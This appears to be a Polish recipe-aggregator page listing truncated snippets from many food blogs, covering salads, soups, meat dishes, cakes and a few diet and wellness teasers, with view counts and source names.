już boczek krojony w plastrach. Użyłam silikonowej formy do pieczenia o wymiarach 35 na 12 centymetra. Lubisz dania z wieprzowiną? Jeśli tak, to wypróbuj nasz przepis na Polędwiczkę w sosie słodko-kwaśnym. Terrina The post Terrina wieprzowa z pistacjami appeared first on MeCooks Blog

MeCooks
Sałatka grillowa z awokado 92

Szczypiorek posiekaj. Mozzarellę pokrój w kostkę. Wszystkie składniki wrzuć do miski. Na koniec przygotuj dressing. Miód, oliwę z oliwek, musztardę oraz sezam dokładnie wymieszaj z dwiema łyżkami wody. Gotowy sos dodaj do sałatki i całość dokładnie wymieszaj. JEDNA PORCJA SAŁATKI TO: około 162kcal Białko: 5,0g Węglowodany: 9,3g Tłuszcz: 12,5g Błonnik pokarmowy: 2,3g Ładunek glikemiczny

Natka Pietruszki
Kurczak pieczony na młodej kapuście 107

przepisie po wstępnym przygotowaniu składników, wystarczy 45 minut, aby mieć gotowy obiad! Rezultatem jest soczysty kurczak o chrupiącej skórce oraz aromatyczna, delikatna młoda kapusta w pysznym, zredukowanym i zagęszczonym sosie! Ten przepis polega na przygotowaniu pysznego dania ze składników, które akurat masz w spiżarni i lodówce. Dlatego udka z kurczaka na młodej kapuście , to świetna propozycja do przystosowania przepisu

Kuchnia Na Wypasie
Ferricelli al Rafano 128

dodaj pomidory, wymieszaj i grzej, aż pomidory się rozpadną. I teraz to już z górki. Dodaj makaron bezpośrednio z rondla z odrobiną wody oraz kiełbasę. Grzej i mieszaj, aż sos zgęstnieje. Na koniec nałóż, posyp bułką tartą i oczywiście dodaj mistrza tego dania, czyli świeżo starty chrzan, który to w tym regionie zastępuje ser. Smacznego. Zapraszam Cię również do obserwowania

RafalCook
Chrupiące kotlety ziemniaczane 110

smaku powinno doprawić się solą i pieprzem, a do ciasta można dodać także usmażoną posiekaną cebulę, mięso lub wędzoną rybę np. dorsza. Kotlety ziemniaczane najlepiej smakują podawane z sosem np. grzybowym lub pomidorowym oraz sałatką. Ponadto są pyszne i bardzo łatwe w przygotowaniu. Są dobrym pomysłem na rodzinny obiad lub kolację, ponieważ są chrupiące na zewnątrz i delikatne w środku

ProstePesto.pl
Chrupiąca Focaccia 135

Focaccia jest to potrawa pochodząca z kuchni włoskiej. To rodzaj pieczywa, które jest podstawą pizzy, bez sera i sosu pomidorowego, samo ciasto. W każdym regionie Włoch ma swoje odmiany. Może być z ciasta suchego polanego oliwą , z solą i ziołami lub pulchnego z suszonymi pomidorami i oliwkami. Focaccia podawana jest jako przystawka oraz jako dodatek do innych potraw, zazwyczaj spożywana

ProstePesto.pl
Leczo z papryką 101

tego mielone papryki, smażymy wszystko paręnaście sekund. Do kiełbasy wrzucamy pomidory, oregano i liść laurowy, mieszamy i gotujemy bez pokrywki około 20 minut, od czasu do czasu mieszamy, żeby sos z pomidorów porządnie się wysmażył. Pod koniec gotowania doprawiamy solą i świeżo zmielonym pieprzem. Podobne przepisy: Leczo z kiełbasą, cukinią i papryką Pieczone leczo Leczo z habanero Leczo z mięsem

Kardamonovy
Caponata czyli sycylijski gulasz 117

pochodzące z kuchni sycylijskiej, które jest odmianą gulaszu warzywnego. Bazą jest posiekany smażony bakłażan, gotowana sałatka warzywna i seler naciowy. Gulasz ten doprawiony jest słodzonym octem z kaparami w sosie słodko-kwaśnym i z dodatkiem oliwy. Ma słodki, lekko kwaskowaty smak i jest mięsista i chrupka. To danie głównie podawane w okresie letnim na obiad lub kolację. Może być podawana

ProstePesto.pl
Wątróbka drobiowa z cebulką 118

Wątróbka drobiowa zaliczana jest do podrobów i cechuje się łagodnym smakiem oraz znaczną ilością składników odżywczych. Zawiera dużo żelaza, białka i kwasu foliowego. Może być duszona w sosie lub smażona. Ponadto podawać można ją z ziemniakami lub kromką pieczywa lub zjadać samą bez dodatków. Wątróbka drobiowa to idealny sposób na prosty, szybki i smaczny obiad. W smaku jest delikatna

ProstePesto.pl
Krewetki z chorizo 120

bądź obiad . Robi się je ekspresowo i smakują rewelacyjnie. Ja krewetki z chorizo zawsze podaję z dodatkiem świeżej bagietki lub chleba, gdyż lubię maczać pieczywo w lekko pikantnym w sosie z oliwy. Do przygotowania krewetek z chorizo poza dwoma głównymi składnikami potrzebna jest także oliwa z oliwek, pikantna papryczka oraz czosnek. Składniki smażymy dodając je po sobie, a nie wszystkie

MeCooks
Zupa z pieczonej papryki i pomidorów. Przepis wegański. 112

oliwą, posól i popieprz. Piecz w nagrzanym do 200 stopni piekarniku przez mniej więcej godzinę. Ściągnij z papryki i pomidorów skórkę, przełóż ją do garnka i pokryj bulionem warzywnym, sosem pomidorowym i zagotuj. Gdy się pogotuje tak z 20 minut, dosmacz solą i pieprzem i zmiksuj na krem. Podawaj z natką pietruszki. I wcinaj na zdrowie!  Zupa z pieczonej

Z Kuchni Do Kuchni
Sałatka z arbuzem i fetą 85

show(),r(".ml-subscribe-form-2709473 .row-form").hide()} Zapraszam do wszystkich moich  przepisów na sałatki .  Polecam Wam także: –  sałatka z kaszą bulgur i łososiem –  sos do sałatki –  sałatka gyros –  sałatka tabbouleh –  Łosoś z pomidorami –  sałatka z kurczakiem i oscypkiem –  sałatka z roślin strączkowych –  sałatka z kurczakiem i kaszą pęczak

nietylkopasta.pl
Sałatka z awokado i tuńczykiem. 122

Składniki mineralne to: potas, magnez, miedź, żelazo, fosfor, cynk, wapń, mangan, sód. Ceramika od @ceramics_elling.pl Składniki jakie będą potrzebne: – 1 puszka tuńczyka w sosie własnym – 1 łyżka jogurtu greckiego – 1 awokado – sok z połówki limonki – sól, pieprz – 1 łyżeczka natki pietruszki – 1 pomidor – 1 ząbek czosnku – 2 łyżki szczypiorku

Zdrowy Styl Joanny
Kasza jaglana z pesto 111

jarmużem lub czosnkiem niedźwiedzim. Pestki dyni – pestkami słonecznika, orzeszkami piniowymi. Jeżeli nie jesteście na diecie przeciwgrzybiczej koniecznie dodajcie do pesto ser długodojrzewający, to przecież podstawa każdego tego typu sosu. Na zdrowie. Zdecydowanie. Jeżeli ktoś z Was wszedł na ten przepis ze względu na candidę, przeczytajcie tekst poniżej. Parę słów jeszcze na temat diety. Będę musiała wklejać takie informacje prawie

Kardamonovy
Gołąbki z kaszą jęczmienną – kuchnia podkarpacka 116

wywarem z gotowania grzybów, rosołem lub wodą z odrobiną tłuszczu. Dusimy pod przykryciem w piekarniku nagrzanym do 180-200 stopni C (grzałka góra-dół) przez około godzinę. Podajemy z sosem grzybowym. Gołąbki z kaszą jęczmienną – kuchnia podkarpacka Więcej przepisów na regionalne gołąbki znajdziecie w zakładce KUCHNIA PODKARPACKA Zapraszam

Trzeci talerz
LŻEJSZY EBOOK - ZACZNIJ JEŚĆ PYSZNIE I FIT KAŻDEGO DNIA! O TYM JAK SCHUDŁAM 16 KG! 98

bogate w sól: żurek czy rosół to zupy, które mocno się dosala, aby je doprawić, biała kiełbasa, wędliny czy pieczone mięsa - mnóstwo soli, sałatka jarzynowa, faszerowane jajka - mnóstwo soli, sosy chrzanowe, musztardy, majonez - znów mamy mnóstwo soli, a może jeszcze były inne sałatki na stole, w których gościły takie rzeczy jak ogórki konserwowe czy kiszone, marynowane grzyby itd? - mnóstwo soli

SMYKWKUCHNI
Ćwikła z chrzanem 135

powodzeniem możesz również przełożyć do słoików i pasteryzować, by przechowywać przez dłuższy czas. (adsbygoogle = window.adsbygoogle || []).push({}); Smacznego! Ćwikła z chrzanem przez Paulina 2022-04-13 Pieczona biała kiełbasa w sosie chrzanowym przez Paulina 2022-04-04 Szybkie paszteciki z ciasta francuskiego z kapustą i grzybami przez Paulina 2022-03-27 Kapsalon – holenderski kebab przez Paulina 2022-03-20 Sałatka

To Musisz Wiedzieć
Sałatka z mięsem z rosołu 98

serkiem, musztardą Dijon oraz sokiem z cytryny i dokładnie mieszamy. Jeśli nie masz serka ziołowego, możesz dodać klasyczny śmietankowy, z koperkiem lub szczypiorkiem. Świetnie sprawdzi się również serek chrzanowy. Sos dodajemy do pozostałych składników sałatki i mieszamy. Przed podaniem posypujemy odrobiną posiekanej natki pietruszki oraz szczypiorkiem. Do sałatki można również dodać ryż lub drobny makaron. Tradycyjny majonez możesz zastąpić majonezem

Kuchnia Na Wypasie
Barszcz białowieski. Zupa Małgorzaty Caprari. 112

bulion: - 3 marchewki - 2 pietruszki- korzeń +natka - pół niewielkiego selera - 1 por - 1 cebula - 2 liście laurowe - 3 ziarna ziela angielskiego - 4 ziarna pieprzu - 2 litry wody - opcjonalnie : - łyżeczka sosu sojowego - 2-3 grzyby leśne - gałązka lubczyku - sól  Jak zrobić bulion: Pokrojone warzywa zalej dwoma litrami zimnej wody. Doprowadź do wrzenia, po czym gotuj przez godzinę-półtorej na małym

Z Kuchni Do Kuchni
Kapsalon. Holenderski przysmak, który z tym przepisem przyrządzisz we własnej kuchni 197

posyp startym lub pokrojonym w paseczki serem, zapiecz krótko w piekarniku – najlepiej pod górnym grillem. Kapsalon przed zapieczeniem. Zapieczone mięso i ser polej ketchupem, wyłóż składniki sałatki, polej sosem majonezowo-czosnkowym. Można posypać mieloną papryką. Przepis na shoarmę: Shoarma z kurczaka. Znasz ją z restauracji, bardzo łatwo zrobisz w domu [PRZEPIS] Artykuł Kapsalon. Holenderski przysmak, który z tym przepisem

Kulinarna Polska
Babka piaskowa, lekko cytrynowa z lemon curd 98

łyżeczka proszku do pieczenia (bez niego też wyjdzie) tarkowana skórka z 1 cytryny Forma do babki, tłuszcz do niej i odrobina bułki tartej lemon curd (lekko słodki i kwaskowaty sos cytrynowy) 2 jajka 2 cytryny 120g cukru 80g masła Robimy! Mąkę pszenną mieszamy ze skrobią ziemniaczaną i proszkiem do pieczenia (jeśli go dajemy) Jajka myjemy i oddzielamy żółtka od białek

Latosiowydom
WurstRalfBurger 134

takich ilościach, jakie lubisz. Po drugie bułki podpiecz w piekarniku lub tosterze. Na koniec, kiedy wszystkie składniki są ciepłe, wręcz gorące 😉 złóż WurstRalfBurgera w całość. Na bułkę nałóż sos musztardowo – miodowy, następnie jabłkową kapustę, kiełbasę, plasterki Ementalera, cebulę karmelizowaną i ponownie bułkę z musztardą miodową. I oczywiście najważniejsze otwórz piwo 😉🍺 Jeśli szukasz innych, nietypowych i smacznych RalfBurgerów🍔 znajdziesz

RafalCook
Biała kiełbasa w kapuście 108

minut bez przykrycia, aż kapusta i kiełbasa się przypieką. Pyszna jest również nasza biała kiełbasa pieczona z cebulą , a także bardzo aromatyczna biała kiełbasa w sosie chrzanowym . Polecamy też przepis na białą kiełbasę domową oraz na sałatkę z białą kiełbasą i jajkiem . Życzymy smacznego! Artykuł Biała kiełbasa w kapuście pochodzi z serwisu Kuchnia na Wypasie

Kuchnia Na Wypasie
Ukraińskie bliny 135

rodzajów mąk, z dodatkiem kefiru lub kasz. Bliny można podawać bez dodatków lub z gotowaną rybą, śmietaną, kawałkami łososia, rybnymi sałatkami, marynowanymi grzybami, kawiorem, gotowanym jajkiem, rybnymi pastami czy sosami lub na słodko z konfiturami. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Ukraińskie bliny 5 z 1 głos Autor: Przepisy czytelników Danie: Naleśniki Kuchnia: Ukraińska Trudność: Łatwe Porcje 4 porcje Przygotowanie 2 godz

ProstePesto.pl
Frytki z cukinii jako alternatywa 117

Frytki z cukinii są bardzo smaczne, miękkie i delikatne. Można zjadać je samodzielnie z ulubionym sosem np. jogurtowym czy czosnkowym albo jako dodatek do potraw. Proste w przygotowaniu i niskokaloryczne. Ich atutem jest to, że pieczone są w piekarniku, więc nie potrzebują dużej ilości oleju. Frytki z cukinii są zdrowszą wersją frytek z ziemniaków. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Frytki

ProstePesto.pl
Gołąbek zapiekany 110

największy którym okrywamy całość .  Podlewamy dookoła wodą , skrapiamy olejem i pieczemy pod przykryciem ok godzinę. Można na koniec zdjęć pokrywę i zapiec górę gołąbka.  Podajemy gołąbka z sosem pomidorowym

Gotowanie jest łatwe
Roladki z szynki w galarecie 391

kilka plasterków marchewki, nieco groszku oraz zieleninę, na przykład natkę pietruszki. Na koniec zalewamy ostrożnie zimnym bulionem. Wstawiamy do lodówki do stężenia. Szynkowe ruloniki w galarecie świetnie smakują z sosem tatarskim, musztardowym lub chrzanowym. Czym jeszcze można faszerować szynkę w galarecie? Czasem przygotowujemy też prosty farsz z serka śmietankowego, np. Piątnica, Almette, Łaciaty oraz wymieszanego z nim tartego chrzanu

Kuchnia Na Wypasie
Kotlety rybne mielone 104

tego, z czym podawać kotlety z ryby, to z pewnością doskonale smakują z puree ziemniaczanym i surówką z kapusty i marchewki. Naszym zdaniem do kotletów rybnych świetnie pasuje domowy sos tatarski . Sprawdź również jak smakuje karp smażony w panierce według naszego sprawdzonego przepisu oraz smażony dorsz . Pyszna jest też nasza ryba po japońsku oraz pyszne kąski z ryby . Życzymy smacznego

Kuchnia Na Wypasie
Domowa przyprawa 5 smaków 106

gałkę muszkatołową. Smak przyprawy mocno zdominowany jest przez anyż, dzięki temu jest ona tak bardzo aromatyczna. Ja używam jej do zupy pho, makaronów azjatyckich, ryżu z kurczakiem i sosem słodko-kwaśnym i wielu innych. Czytaj więcej

Bernika - moj kulinarny pamietnik
Jaki olej na cholesterol? 94

prozdrowotne właściwości Aby skutecznie walczyć z cholesterolem warto do swojej diety wprowadzić oliwę. Jest to bowiem olej o wielu właściwościach prozdrowotnych. Idealnie sprawdzi się do rozmaitych sałatek na zimno, sosów, można ją też spożywać samodzielnie. W walce z cholesterolem i wieloma innymi schorzeniami najlepiej sprawdzi się oliwa extra virgin. Oliwa z oliwek to bogactwo dobroczynnych dla organizmu składników. Znajdziemy

Ugotowane pozamiatane
Kasza z boczkiem i twarogiem 94

podane składniki wystarczą na dwie porcje. Chyba, że jesteś bardzo głodny, to sam też dasz radę zjeść. Smacznego! Polecamy również nasz przepis na klopsiki z mięsa indyczego w sosie pomidorowym

Marder&Marder Manufacture
Ukraiński Hołodomor 108

gastronomicznej dla hipsterów, to pieczecie podpłomyk z wody i mąki. Potem go otwieracie i wkładacie do niego kotki z ugotowanymi ziemniakami, do tego jakiegoś kwiatka i rzecz jasna jakiś sos. Wtedy danie głodowe zamienia się w danie

Kryzysowa Książka Kucharska
Prosty makaron z pesto z zielonego groszku 127

smaku solą i pieprzem. 4. Ugotowany makaron odcedź, zachowując pół kubka wody po gotowaniu. 5. Wymieszaj makaron z pesto i dodawaj stopniowo wodę z gotowania makaronu, aby lekko rozrzedzić sos, dzięki czemu łatwo pokryje makaron. 6. Podawaj z odrobiną skórki cytrynowej, soku z cytryny i skropiony oliwą. Smacznego! Green peas and miso pesto pasta Ingredients: 150-200g of your

Kuchnia w Słońcu Skąpana
Top 10 najlepszych ciast na Wielkanoc 128

rozpływa się w ustach. Prosta i szybka w wykonaniu, a w smaku naprawdę znakomita. Chrupiąca i bogato nadziana beza, z orzechami, daktylami, kremem mascarpone i kajmakiem, a wszystko polane sosem kajmakowym i oprószone kakao. Beza Pavlova Przepis tutaj (KLIK) Prosty, a zarazem bardzo efektowny i przepyszny torcik bezowy z kremem i owocami. Beza jest chrupiąca z zewnątrz oraz delikatna

Blog z Apetytem
Słomka ptysiowa 116

jednym z najprostszych domowych dodatków do kawy. Robię ją z prawie takiego samego ciasta, jak pączki wiedeńskie . Słomki ptysiowe można posypać grubym cukrem, abo podawać z niezbyt gęstym sosem czekoladowym. Słomka z ciasta ptysiowego jest bardzo szybka do zrobienia, a czas pieczenia to około 20 minut. Ponadto większość składników pewnie masz w swojej kuchni. Przepis na słomki ptysiowe możesz urozmaicić

Cztery Fajery
Ukraińskie czebureki (Чебуреки) 144

złotego koloru. Jeśli były dobrze wyrobione i odpowiednio cienkie, na ich powierzchni pojawią się pęcherze. Dzięki dodatkowi spirytusu nie powinny chłonąć tłuszczu. Odsączamy na papierowym ręczniku. Podajemy same, z sosem lub odświeżającą surówką.   Post Ukraińskie czebureki (Чебуреки) pochodzi z bloga Poezja smaku

Poezja smaku
Kurczak z cukinią w jogurtowym sosie curry 87

Włączamy gaz i jedynie lekko podgrzewamy całość. Wtedy mamy pewność, że jogurt nam się nie zwarzy. Podajemy z ryżem (my jedliśmy z brązowym). Artykuł Kurczak z cukinią w jogurtowym sosie curry pochodzi z serwisu Kardamonowy

Kardamonovy
Chrupiące rybki 109

zrobimy je sami, bez konieczności kupowania kolejnych foremek, które zalegają potem w szufladach. A z czym podawać rybki? Ja najchętniej,, pożeram“ je na sucho, ale pasuje do nich każdy sos, ketczup, hummus, tsatsiki, guacamole, mojo rojo lub verde, albo zwykły jogurt.  Przepis na chrupiące rybki: Składniki : na 2 blaszki 1 jajko  125 g miękkiej margaryny 200 ml oleju

dolcevitainmykitchen
Burrata z pomidorami- najprostsza sałatka z burratą 115

burratą, jaką można sobie wyobrazić, ale naprawdę – nic więcej tu nie potrzeba! Wspaniały, kremowy ser i soczyste, świeże, słodkie pomidory to idealne połączenie. Nie potrzeba tu nawet żadnego sosu – wystarczy dobra oliwa, zioła i świeżo zmielony pieprz. Sprawdź też inne przepisy na pyszne sałatki: Śródziemnomorska sałatka z tuńczykiem Sałatka Waldorf z kurczakiem Sałatka z tortellini w stylu włoskim

Na-talerzu.pl
Mizeria – tradycyjny przepis (keto) 167

brownie Keto brownie Zobacz więcej przepisów na keto słodycze Przepisy sezonowe Zupa dyniowa (wegańska) Burgery z buraka Pierogi z dynią piżmową Szakszuka z dynią piżmową Sałatka z buraków Kremowy sos dyniowy Pieczona dynia hokkaido Kotlety z buraka (wegańskie) Buraki pieczone Zobacz więcej przepisów styczniowych Najnowsze przepisy Kotlety jajeczne Sałatka grecka (keto, low carb) Mizeria – tradycyjny przepis (keto) Szybkie ciasto

WegePrzepis
Sałatka grecka (keto, low carb) 103

brownie Keto brownie Zobacz więcej przepisów na keto słodycze Przepisy sezonowe Zupa dyniowa (wegańska) Burgery z buraka Pierogi z dynią piżmową Szakszuka z dynią piżmową Sałatka z buraków Kremowy sos dyniowy Pieczona dynia hokkaido Kotlety z buraka (wegańskie) Buraki pieczone Zobacz więcej przepisów styczniowych Najnowsze przepisy Kotlety jajeczne Sałatka grecka (keto, low carb) Mizeria – tradycyjny przepis (keto) Szybkie ciasto

WegePrzepis
PROJEKT RIESE - REMIGIUSZ MRÓZ 109

tylko "sąsiadami", ale i elementem tych wydarzeń. Każdy z nas powinien mieć nie tylko tego świadomość, ale i zdać egzamin z człowieczeństwa. Pomóżmy Ukrainie, bądźmy ludźmi.  Zbiórka SOS Ukraina - www.siepomaga.pl

Wypisz Wymaluj
Tagliatelle Carbone Bolognese 122

kostkę Czosnkek 3-5 ząbków drobno pokrojonych Pasta pomidorowa 100 gram Pomidory San Marzano 1 puszka Czerwone wino wytrawne, tutaj musimy się zatrzymać dużej 😉 część musi iść do sosu, a część do…zresztą wiesz gdzie, mój drogi czytelniku 😉🍷 Bulion z kurczaka 200 ml Szklanka mleka Liść laurowy 3-5 listków Sól do smaku Tymiank suszony do smaku Świeża bazylia

RafalCook
Tarta z gruszkami, orzechami włoskimi i gorgonzolą 107

sumie bez niczego. Na 100% smakowałaby mi jeszcze bardziej, gdybym zjadła ją np. z jakąś mieszanką sałat. Ale taką mieszanką bez dodatków. Jedynie z winegretem. Wiecie, to ten sos na bazie oliwy/oleju i soku z cytryny lub octu. Może ząbek czosnku jeszcze bym tam przemyciła i nic więcej. Brakowało mi świeżości w moim dzisiejszym obiedzie. Sałata zrobiłaby dobrą robotę. Składniki

Kardamonovy
Wyczerpanie nadnerczy – powszechny problem, o którym się nie mówi 93

pozbyć się objawów i odzyskać zdrowie”. Na koniec mam dla Ciebie kilka sprawdzonych przepisów, które wspomogą pracę Twoich nadnerczy: koktajl oczyszczający z naturalnym chelatorem, rybka w sosie kokosowym , sałatka z pieczonego kalafiora i ogórka, omlet w stylu śródziemnomorskim. J eśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na  Facebooku  i  Instagramie

Natka Pietruszki
Sałatka z serem camembert 139

wymieszaj lekko wszystkie składniki. Na wierzch ułóż kawałki sera. Sałatkę posyp mieszanką dyni i słonecznika. W miseczkę wlej oliwę z oliwek oraz zioła prowansalskie. Wymieszaj składniki. Polej sałatkę przygotowanym sosem, Sałatka najlepiej smakuje na świeżo zaraz po przygotowaniu. Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); Sałatka z serem camembert przez Paulina 2022-03-07 Paszteciki z ciasta francuskiego z kapustą przez Paulina

To Musisz Wiedzieć
Co przygotować na obiad? Kawałki kurczaka w cieście 140

kurczaka w cieście? Tak przygotowany kurczak będzie smakował z każdym dodatkiem. Można go podać z pieczonymi ziemniaczkami lub z ziemniakami z wody. Kawałki kurczaka idealnie też smakują z domowym sosem czosnkowym lub pomidorowym. Moja rodzina uwielbia to połączenie. Do tego polecam zawsze zestaw najróżniejszych, kolorowych surówek. Tych nigdy nie za wiele   Pamiętajcie, że takie kawałki kurczaka w cieście śmiało

Słodkie okruszki
Pieczone ziemniaki 136

doczekać obiadu ! Pierś kurczaka z piekarnika Pieczone ziemniaki są wspaniałym dodatkiem do mięs obiadowych, np kotleta schabowego . Podaję je także jako samodzielna potrawa. Polewam je wówczas śmietaną lub ulubionym sosem np chrzanowo czosnkowym . Na 5 minut przed końcem pieczenia, możesz także posypać ziemniaczki startym serem żółtym. Smakują obłędnie i nie znam osoby, która by się im oparła. Kto raz spróbuje

Ania gotuje
Kubdari, kazachski placek mięsny 132

Wysokim Kaukazie. To tradycyjna pyszna potrawa, która z powodzeniem sprawdzi się jako danie obiadowe także w naszym kraju. Łatwy w wykonaniu, smakuje także na zimno. Moje chłopaki profanują kubdari sosem czosnkowym, twierdząc że to prawdziwa uczta Cóż, dobrze że nie ketchup.. Ten przepis jest inspirowany przepisem ze strony www.polakogruzin.pl , gdzie znajdziesz oryginał Swój przepis nieco zmieniłam i dopasowałam

Ogrodnik w podróży
Sałatka grecka (keto, low carb) 120

brownie Keto brownie Zobacz więcej przepisów na keto słodycze Przepisy sezonowe Zupa dyniowa (wegańska) Burgery z buraka Pierogi z dynią piżmową Szakszuka z dynią piżmową Sałatka z buraków Kremowy sos dyniowy Pieczona dynia hokkaido Kotlety z buraka (wegańskie) Buraki pieczone Zobacz więcej przepisów styczniowych Najnowsze przepisy Sałatka grecka (keto, low carb) Mizeria – tradycyjny przepis (keto) Szybkie ciasto Lion

WegePrzepis
Sałatka z tuńczykiem, ryżem, kukurydzą i ogórkiem kiszonym 112

jeść tuńczyka i kukurydzę, zrobiłabym mu tę sałatkę z brązowym ryżem. Albo z czarnym. Jeżeli chodzi o samego tuńczyka dobrze sprawdzi się i ten w oleju i ten w sosie własnym. Zioła jak zwykle dowolne. Ja zawsze byłam fanką łączenia ryb z natką pietruszki, więc u mnie wylądowała pietruszka. Koperek? A pewnie, czemu nie. Dymka/szczypiorek? Proszę bardzo. Możecie też zrobić

Kardamonovy
Sernik na zimno z galaretką 134

który często można znaleźć w innych serach z wiaderka. Twarożek ze Spółdzielni Dostawców Mleka z Wielunia ma wiele uniwersalnych zastosowań, posłuży zarówno do przygotowania deserów i wypieków, past i sosów. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Sernik z twarogu sernikowego z wiaderka 5 z 1 głos Autor: Martyna Pietruszka Danie: Deser Kuchnia: Polska Trudność: Łatwe Ilość 12 porcji Przygotowanie 30 min. Pieczenie

ProstePesto.pl
Tagliatelle szpinakowe z krewetkami 116

czasie z krewetkami, żeby ich nie przeciągnąć 😉 Po trzecie przełóż makaron bezpośrednio z rondla na patelnię. Dodaj drugą kostkę masła, wymieszaj i grzej, aż powstanie idealny, fantastycznie kremowy sos. Całość posyp pietruszką i polej sokiem z cytryny. Na koniec nałóż na talerz, posyp proszkiem kaparowym, dopraw świeżo zmielonym pieprzem i rzuć dobrą garść kiełków. Smacznego. Zapraszam Cię również do obserwowania

RafalCook
Sałatka z komosą ryżową, szpinakiem i pieczonym kalafiorem 118

minut przykrytą pokrywką, komosa wchłonie ewentualną wodę, która nie wyparowała podczas gotowania. Do miski wsypujemy komosę, dodajemy upieczone różyczki kalafiora, umyty szpinak, pokrojoną w cienkie półplasterki cebulę. Całość polewamy sosem i posypujemy uprażonymi pestkami dyni. Przed podaniem można wszystko jeszcze raz potraktować solą i świeżo zmielonym pieprzem. Artykuł Sałatka z komosą ryżową, szpinakiem i pieczonym kalafiorem pochodzi z serwisu Kardamonowy

Kardamonovy
Kopytka z batatów 99

batatami: Pieczone bataty z jogurtem i miętą Sałatka z pieczonym batatem Pieczone faszerowane bataty Pikantne frytki z batatów Pizza z batatów z kurczakiem Kurczak z batatami Bataty z sosem z awokado Sałatka z batatem i jajkiem na miękko Krem z batatów Frytki z batatów Gnocchi z batatów Chipsy z batatów Gofry z batata KOPYTKA Z BATATÓW Przygotowanie : 20 minut + gotowanie

nietylkopasta.pl
Mizeria – tradycyjny przepis (keto) 291

brownie Keto brownie Zobacz więcej przepisów na keto słodycze Przepisy sezonowe Zupa dyniowa (wegańska) Burgery z buraka Pierogi z dynią piżmową Szakszuka z dynią piżmową Sałatka z buraków Kremowy sos dyniowy Pieczona dynia hokkaido Kotlety z buraka (wegańskie) Buraki pieczone Zobacz więcej przepisów styczniowych Najnowsze przepisy Mizeria – tradycyjny przepis (keto) Szybkie ciasto Lion bez pieczenia Ciastka z kaszy manny

WegePrzepis
Inteligentne rozwiązania w kuchni Haier 112

wśród osób zabieganych, które nie mają czasu na szukanie pomysłów na obiad. Menu jest bardzo zróżnicowane, od dań prostych i szybkich, po bardziej wyszukane, takie jak np. cielęcina z sosem z tuńczyka, czy warkocz z łososia. Intuicyjny panel dotykowy , dzięki czemu ustawianie czasu i temperatury pieczenia jest bardzo wygodne. Dodatkowo mamy możliwość ustawienia programu, który się automatycznie włączy po zakończeniu

Kuchnia Bazylii
Brukselka z pieczarkami i czosnkiem 115

minuty ciągle mieszając żeby brukselka ładnie się połączyła z resztą składników. Można podawać ze świeżym pieczywem. Albo i bez niego. Też wybornie smakuje. Smacznego! Polecamy również nasz przepis na sos meksykański z pieczarkami

Marder&Marder Manufacture
Korzyści zdrowotne fermentowanej żywności 112

gazów i zaparć. Zastosowanie w kuchni. Produkty poddane fermentacji można spożywać na surowo lub po obróbce termicznej (gotowanie, pieczenie, smażenie, grillowanie). Jeść jako samodzielne danie lub jako dodatek do sosów, zup, gulaszu, tortilli, wrapów, kebabu, sałatek, kanapek oraz pieczonego lub szarpanego mięsa. Kiszone, zmiksowane owoce i warzywa to dodatek do koktajli. Ciekawostki historyczne. Od 500 roku p.n.e. spleśniały twaróg sojowy

ProstePesto.pl
Awokado z krewetkami w sosie 126

Przepyszna, szybka w przygotowaniu przystawka dla fanów krewetek w kremowym sosie. *Nie zapomnijcie śledzić mnie na Instagramie i oznaczać zdjęć z moich przepisów #eatmefitme Wykonanie Awokado przekrój na połówki, usuń pestki i skrop sokiem z cytryny. Krewetki ugotuj na parze, ostudź i wymieszaj z jogurtem oraz szczyptą soli i pieprzu. Wypełnij awokado masą krewetkową, możesz posypać pietruszką. Składniki 2 bardzo

Eat me! Fit me!
Panna cotta z bananami i czekoladą 96

Pyszna i kremowa w smaku panna cotta z dodatkiem bananów i sosu czekoladowego to wspaniały i szybki deser. Przygotujesz go z kilku składników dostępnych przez cały rok. Panna cotta – bez pieczenia, bez miksera, zdecydowanie dla zwolenników szybkich deserów i łasuchów czekolady. Panna cotta polana domową frużeliną wiśniową lub lekko tężejącą galaretką smakuje obłędnie.. Zapraszam po mój sprawdzony szybki

Zasmakuj Kuchni
NAMOURA – kokosowe ciasto libańskie / kuchnia libańska 131

kuchnią.   Nie wiem czy wiecie, ale kuchnia libańska jest fantastyczna! To jedna z bardziej aromatycznych kuchni świata. Ta bliskowschodnia kuchnia bazuje przede wszystkim na ziołach, jagnięcinie i aromatycznych sosach. Tego typu ciasta jak Namoura, z semoliny są ciężkie, wilgotne i kleiste, bo oblane obficie syropem. Zmieniłam jednak trochę oryginalny przepis i dodałam do niego niewielką ilość swoich ukochanych wiórków

Ostra na Słodko
Roladki w stylu sushi (low-carb) 142

postępujemy tak samo. Zwinięte rolki kroimy ostrym(!) nożem w poprzek. Warto je przed pokrojeniem i podaniem jeszcze przez 15 minut schłodzić w lodówce. Podajemy tak jak klasyczne sushi, z sosem sojowym, wasabi, imbirem. (function(){ var d = document, wid = 'tt-' + parseInt(Math.random() * 9999999).toString(16), se = d.getElementsByTagName('script'), se_f = se[0], se_l = se[se.length - 1], tt = d.createElement('script

Analiza Smaku
Gołąbki meksykańskie bez zawijania. 139

sposobów aby zrobić gołąbki. Najbardziej znanym sposobem jest wymieszanie mięsa mielonego z cebulą , czosnkiem i ugotowanym ryżem , następnie zawinięcie tego farszu w liście ugotowanej kapusty . Na koniec gotujemy w sosie pomidorowym . Całość tworzy pyszny i obfity obiad . Tradycyjne gołąbki wymagają troszkę pracy i jest to danie troszkę kłopotliwe – chyba każdy się ze mną zgodzi?! Jednak proponuje wspaniałe, zdrowe i komfortowe

Zdrowy Styl Joanny
Pasta z serka śmietankowego i wędzonego łososia 106

ząbek czosnku, poszatkowany koperek, sok z cytryny. Doprawiamy solą i świeżo mielonym pieprzem, dokładnie mieszamy. Podobne przepisy: Pasta z białego sera i szprotek Pasta jajeczna z wędzonym pstrągiem i sosem tatarskim Pasta z makreli i serka wiejskiego Artykuł Pasta z serka śmietankowego i wędzonego łososia pochodzi z serwisu Kardamonowy

Kardamonovy
Udka pieczone w marynacie keczupowo-musztardowej 149

godzin.  3. Piec w 180*C przez 70-80 minut. Piec pod przykryciem, a na kwadrans przed końcem pieczenia zdjąć pokrywkę i piec bez. Podawać mięso lekko polane sosem wytworzonym podczas pieczenia. Smacznego!!! Źródło: Kulinarne szaleństwa Evity

Kuchnia domowa Ani
